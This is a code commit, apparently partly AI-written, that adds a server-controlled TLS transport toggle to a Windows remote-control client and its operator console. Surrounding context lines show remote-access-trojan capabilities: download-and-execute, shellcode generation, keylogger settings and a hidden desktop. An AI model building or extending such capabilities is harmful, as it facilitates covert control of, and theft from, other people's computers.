Feat: Per-client TLS transport toggle (TLS column + remote enable/disable)

Add a per-client TLS transport toggle controlled from the server, using the
presence of the client's trust-anchor certificate in the registry as the
single source of truth (no separate tls_enable flag).

- Client reports its TLS status via a new RES_TLS token (cert present -> 1)
  appended to LOGIN_INFOR's reserved field.
- Server online list gains a "TLS" column after the permission column.
- The "experimental features" right-click menu gains "TLS传输" / "取消TLS"
  with confirmation and a guard that prompts (instead of sending) when the
  server has no TLS certificate ready.
- New COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE (166/167): the server pushes
  its cert PEM into the client registry settings\tls_cert (enable) or deletes
  it (disable). The client picks this up on next startup via the existing
  ReadTrustAnchor logic, so the switch is non-live by design.
- Icons and en_US/zh_TW/de_DE translations for the new menu items.

Co-Authored-By: deepseek-v4-pro

client/KernelManager.cpp

@@ -839,6 +839,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_TLS_ENABLE: {
+        // 服务端下发信任锚证书：payload = PEM 正文（szBuffer+1 .. ulLength-1）。
+        // 写入注册表 settings\tls_cert，客户端下次启动读到证书即启用 TLS（非实时）。
+        if (ulLength > 1) {
+            std::string certPem((char*)szBuffer + 1, ulLength - 1);
+            m_cfg->SetStr("settings", "tls_cert", certPem);
+        }
+        break;
+    }
+    case COMMAND_TLS_DISABLE: {
+        // 删除注册表信任锚，客户端下次启动无证书即回明文（非实时）。
+        std::string subKey = GetRegistryName() + "\\settings";
+        HKEY hKey = NULL;
+        if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
+                          KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
+            RegDeleteValueA(hKey, "tls_cert");
+            RegCloseKey(hKey);
+        }
+        break;
+    }
+
     case COMMAND_DOWN_EXEC: {
         std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
         break;

client/LoginServer.cpp

@@ -444,6 +444,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
     double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
     sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
     LoginInfor.AddReserved(fileSize);                  // 文件大小
+    LoginInfor.AddReserved(TlsEnabled() ? 1 : 0);  // TLS 启用标志：有信任锚（证书）即 1
     return LoginInfor;
 }
 

common/commands.h

@@ -325,6 +325,8 @@ enum {
     COMMAND_FILE_MANAGER_PLUGIN = 163,   // 服务端 → 客户端：打开插件文件管理对话框（SimplePlugins 迁移）
     COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端：打开隐私屏幕（虚拟桌面，SimplePlugins 迁移）
     COMMAND_DRAWING_BOARD_PLUGIN = 165,  // 服务端 → 客户端：打开远程画板（SimplePlugins 迁移）
+    COMMAND_TLS_ENABLE = 166,   // 服务端 → 客户端：启用 TLS 传输（写注册表，下次启动生效）
+    COMMAND_TLS_DISABLE = 167,  // 服务端 → 客户端：停用 TLS 传输（写注册表，下次启动生效）
 
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表
@@ -1061,6 +1063,7 @@ enum LOGIN_RES {
     RES_CLIENT_ID = 16,                     // 客户端唯一ID
     RES_PID = 17,                           // 进程ID
     RES_FILESIZE = 18,                       // 文件大小
+    RES_TLS = 19,                           // TLS 传输启用标志 0/1
     RES_MAX,
 };
 

server/2015Remote/2015RemoteDlg.cpp

@@ -51,6 +51,7 @@
 #include "McpServer.h"
 #include "McpSettingsDlg.h"
 #include "TlsCertificateDlg.h"
+#include "ServerTlsSession.h"
 #include "common/md5.h"
 #include <algorithm>
 #include <set>
@@ -148,23 +149,24 @@ const int  g_Column_Count_Online  = ONLINELIST_MAX + 1; // 1 缩略图 + 既有
 
 COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
     {"预览",            60  },
-    {"IP",				130	},
+    {"IP",				120	},
-    {"端口",			60	},
+    {"端口",			55	},
     {"地理位置",		140	},
     {"计算机名/备注",	140	},
-    {"操作系统",		120	},
+    {"操作系统",		135	},
-    {"CPU",				80	},
+    {"CPU",				75},
-    {"摄像头",			60	},
+    {"摄像头",			55	},
-    {"RTT",				60	},
+    {"RTT",				55	},
     {"版本",			90	},
     {"安装时间",        130 },
-    {"活动窗口",		130 },
+    {"活动窗口",		145 },
     {"类型",			50 },
     {"",                0   },
     {"",                0   },
     {"",                0   },
     {"",                0   },
     {"权限",			60	},
+    {"TLS",             50  },
 };
 
 // 缩略图列号常量 + 列号→数据槽映射。负返回值代表"该列无数据槽"。
@@ -738,6 +740,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
     m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER);       // 文件管理
     m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD);     // 隐私屏幕
     m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD);      // 远程画板
+    m_bmOnline[69].LoadBitmap(IDB_BITMAP_TLS_ENABLE);         // TLS 传输
+    m_bmOnline[70].LoadBitmap(IDB_BITMAP_TLS_DISABLE);        // 取消 TLS
     for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
         m_ServerDLL[i] = nullptr;
         m_ServerBin[i] = nullptr;
@@ -1067,6 +1071,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
     ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
     ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
+    ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
+    ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
     ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
     ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
     ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1674,10 +1680,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
     const std::string& privUser = v[RES_USERNAME];
     const std::string& privAdmin = v[RES_ISADMIN];
     CString privilegeStr = privUser == "SYSTEM" ? "SYSTEM" : privAdmin == "1" ? "Admin" : "User";
+    CString tlsStr = v[RES_TLS].empty() ? "N" : v[RES_TLS] == "1" ? "Y" : "N";
 
     CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
                                      verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
-                                     v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr,
+                                     v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr, tlsStr,
                                    };
     // 优先采用客户端自报的 ID（新客户端用 V2 算法 = MachineGuid + 归一化路径，
     // 比服务端按老算法 IP+PC+OS+CPU+PATH 重算更稳定）。
@@ -4546,6 +4553,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
     Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER,   MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
     Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
     Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD,  MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE,     MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE,    MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]);
 
     Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
 
@@ -4718,6 +4727,53 @@ void CMy2015RemoteDlg::OnExperimentDrawingBoard()
     SendSelectedCommand(&bToken, sizeof(BYTE));
 }
 
+void CMy2015RemoteDlg::OnExperimentTlsEnable()
+{
+    // 前置校验：服务端未启用 TLS 证书时，无信任锚可下发，仅提示、不下发指令。
+    if (!ServerTlsIdentity::IsReady()) {
+        MessageBoxL(_T("服务端未启用 TLS 证书，无法切换客户端 TLS 传输"),
+                    _T("提示"), MB_ICONWARNING);
+        return;
+    }
+    // 二次确认：避免误点就切换被控端 TLS；客户端写注册表，下次启动生效
+    if (IDYES != MessageBoxL(_T("确定对选中主机启用 TLS 传输吗？（客户端下次启动生效）"),
+                             _T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
+
+    // 读取服务端证书（信任锚），随启用指令一并下发；客户端写入注册表 settings\tls_cert。
+    std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary);
+    if (!certFile.is_open()) {
+        MessageBoxL(_T("读取服务端 TLS 证书失败，无法下发"), _T("提示"), MB_ICONWARNING);
+        return;
+    }
+    std::ostringstream ss;
+    ss << certFile.rdbuf();
+    std::string certPem = ss.str();
+    if (certPem.empty()) {
+        MessageBoxL(_T("读取服务端 TLS 证书失败，无法下发"), _T("提示"), MB_ICONWARNING);
+        return;
+    }
+
+    // 报文：命令字节 + PEM 正文
+    std::vector<BYTE> pkt;
+    pkt.reserve(1 + certPem.size());
+    pkt.push_back((BYTE)COMMAND_TLS_ENABLE);
+    pkt.insert(pkt.end(), certPem.begin(), certPem.end());
+    SendSelectedCommand(pkt.data(), (ULONG)pkt.size());
+}
+
+void CMy2015RemoteDlg::OnExperimentTlsDisable()
+{
+    if (!ServerTlsIdentity::IsReady()) {
+        MessageBoxL(_T("服务端未启用 TLS 证书，无法切换客户端 TLS 传输"),
+                    _T("提示"), MB_ICONWARNING);
+        return;
+    }
+    if (IDYES != MessageBoxL(_T("确定取消选中主机的 TLS 传输吗？（客户端下次启动生效）"),
+                             _T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
+    BYTE bToken = COMMAND_TLS_DISABLE;  //向被控端发送停用 TLS 传输命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
 
 // 从资源中读取被控端文件，并根据用户选择修改连接信息后返回给发送线程
 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,

server/2015Remote/2015RemoteDlg.h

@@ -441,7 +441,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[69];
+    CBitmap m_bmOnline[71];
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -531,6 +531,8 @@ public:
     afx_msg void OnExperimentFileManager();
     afx_msg void OnExperimentPrivateScreen();
     afx_msg void OnExperimentDrawingBoard();
+    afx_msg void OnExperimentTlsEnable();
+    afx_msg void OnExperimentTlsDisable();
     afx_msg void OnOnlineDelete();
     afx_msg void OnOnlineUpdate();
     afx_msg void OnAbout();

server/2015Remote/context.h

@@ -22,6 +22,7 @@ enum {
     ONLINELIST_STARTTIME,
     ONLINELIST_CAPABILITIES,    // 客户端能力位
     ONLINELIST_PRIVILEGE,       // 权限级别 (SYSTEM/Admin/User)
+    ONLINELIST_TLS,             // TLS 传输启用标志 (0/1)
     ONLINELIST_MAX,
 };
 

server/2015Remote/lang/de_DE.ini

@@ -2081,3 +2081,9 @@ TLS֤
 TLS 配置已保存。=TLS-Einstellungen gespeichert.
 改动对新建连接即时生效。=Aenderungen gelten sofort fuer neue Verbindungen.
 证书/私钥加载失败，加密功能未生效。请检查文件路径与格式（证书 PEM、私钥 PKCS#8）。=Zertifikat/privater Schluessel konnte nicht geladen werden; Verschluesselung ist inaktiv. Bitte Pfad und Format pruefen (PEM-Zertifikat, PKCS#8-Schluessel).
+TLS传输=TLS-Transport
+取消TLS=TLS deaktivieren
+确定对选中主机启用 TLS 传输吗？（客户端下次启动生效）=TLS-Transport fuer die ausgewaehlten Hosts aktivieren? (wirkt nach Client-Neustart)
+确定取消选中主机的 TLS 传输吗？（客户端下次启动生效）=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren? (wirkt nach Client-Neustart)
+服务端未启用 TLS 证书，无法切换客户端 TLS 传输=Server-TLS-Zertifikat ist nicht aktiviert; TLS-Transport der Clients kann nicht umgeschaltet werden
+读取服务端 TLS 证书失败，无法下发=Server-TLS-Zertifikat konnte nicht gelesen werden; Verteilung nicht moeglich

server/2015Remote/lang/en_US.ini

@@ -2096,3 +2096,9 @@ TLS֤
 TLS 配置已保存。=TLS settings saved.
 改动对新建连接即时生效。=Changes take effect immediately for new connections.
 证书/私钥加载失败，加密功能未生效。请检查文件路径与格式（证书 PEM、私钥 PKCS#8）。=Failed to load certificate/private key; encryption is not active. Check the file path and format (PEM certificate, PKCS#8 private key).
+TLS传输=TLS Transport
+取消TLS=Disable TLS
+确定对选中主机启用 TLS 传输吗？（客户端下次启动生效）=Enable TLS transport for the selected host? (takes effect after the client restarts)
+确定取消选中主机的 TLS 传输吗？（客户端下次启动生效）=Disable TLS transport for the selected host? (takes effect after the client restarts)
+服务端未启用 TLS 证书，无法切换客户端 TLS 传输=Server TLS certificate is not enabled; cannot toggle client TLS transport
+读取服务端 TLS 证书失败，无法下发=Failed to read the server TLS certificate; cannot distribute

server/2015Remote/lang/zh_TW.ini

@@ -2087,3 +2087,9 @@ TLS֤
 TLS 配置已保存。=TLS 設定已儲存。
 改动对新建连接即时生效。=變更對新連線即時生效。
 证书/私钥加载失败，加密功能未生效。请检查文件路径与格式（证书 PEM、私钥 PKCS#8）。=憑證/私鑰載入失敗，加密功能未生效。請檢查檔案路徑與格式（憑證 PEM、私鑰 PKCS#8）。
+TLS传输=TLS 傳輸
+取消TLS=停用 TLS
+确定对选中主机启用 TLS 传输吗？（客户端下次启动生效）=確定對選取主機啟用 TLS 傳輸嗎？（用戶端下次啟動生效）
+确定取消选中主机的 TLS 传输吗？（客户端下次启动生效）=確定取消選取主機的 TLS 傳輸嗎？（用戶端下次啟動生效）
+服务端未启用 TLS 证书，无法切换客户端 TLS 传输=伺服器未啟用 TLS 憑證，無法切換用戶端 TLS 傳輸
+读取服务端 TLS 证书失败，无法下发=讀取伺服器 TLS 憑證失敗，無法下發

server/2015Remote/resource.h

@@ -287,6 +287,8 @@
 #define IDB_BITMAP_FILE_MANAGER         407
 #define IDB_BITMAP_PRIVACY_SHIELD       408
 #define IDB_BITMAP_DRAWING_BOARD        409
+#define IDB_BITMAP_TLS_ENABLE           410
+#define IDB_BITMAP_TLS_DISABLE          411
 #define IDC_MESSAGE                     1000
 #define IDC_ONLINE                      1001
 #define IDC_STATIC_TIPS                 1002
@@ -1019,6 +1021,8 @@
 #define ID_EXPERIMENT_FILE_MANAGER      33090
 #define ID_EXPERIMENT_PRIVATE_SCREEN    33091
 #define ID_EXPERIMENT_DRAWING_BOARD     33092
+#define ID_EXPERIMENT_TLS_ENABLE        33094
+#define ID_EXPERIMENT_TLS_DISABLE       33095
 #define ID_33046                        33046
 #define ID_PROXY_PORT_AUTORUN           33047
 #define ID_TRIGGER_SETTINGS             33048
@@ -1115,8 +1119,8 @@
 //
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        410
+#define _APS_NEXT_RESOURCE_VALUE        412
-#define _APS_NEXT_COMMAND_VALUE         33094
+#define _APS_NEXT_COMMAND_VALUE         33096
 #define _APS_NEXT_CONTROL_VALUE         2620
 #define _APS_NEXT_SYMED_VALUE           105
 #endif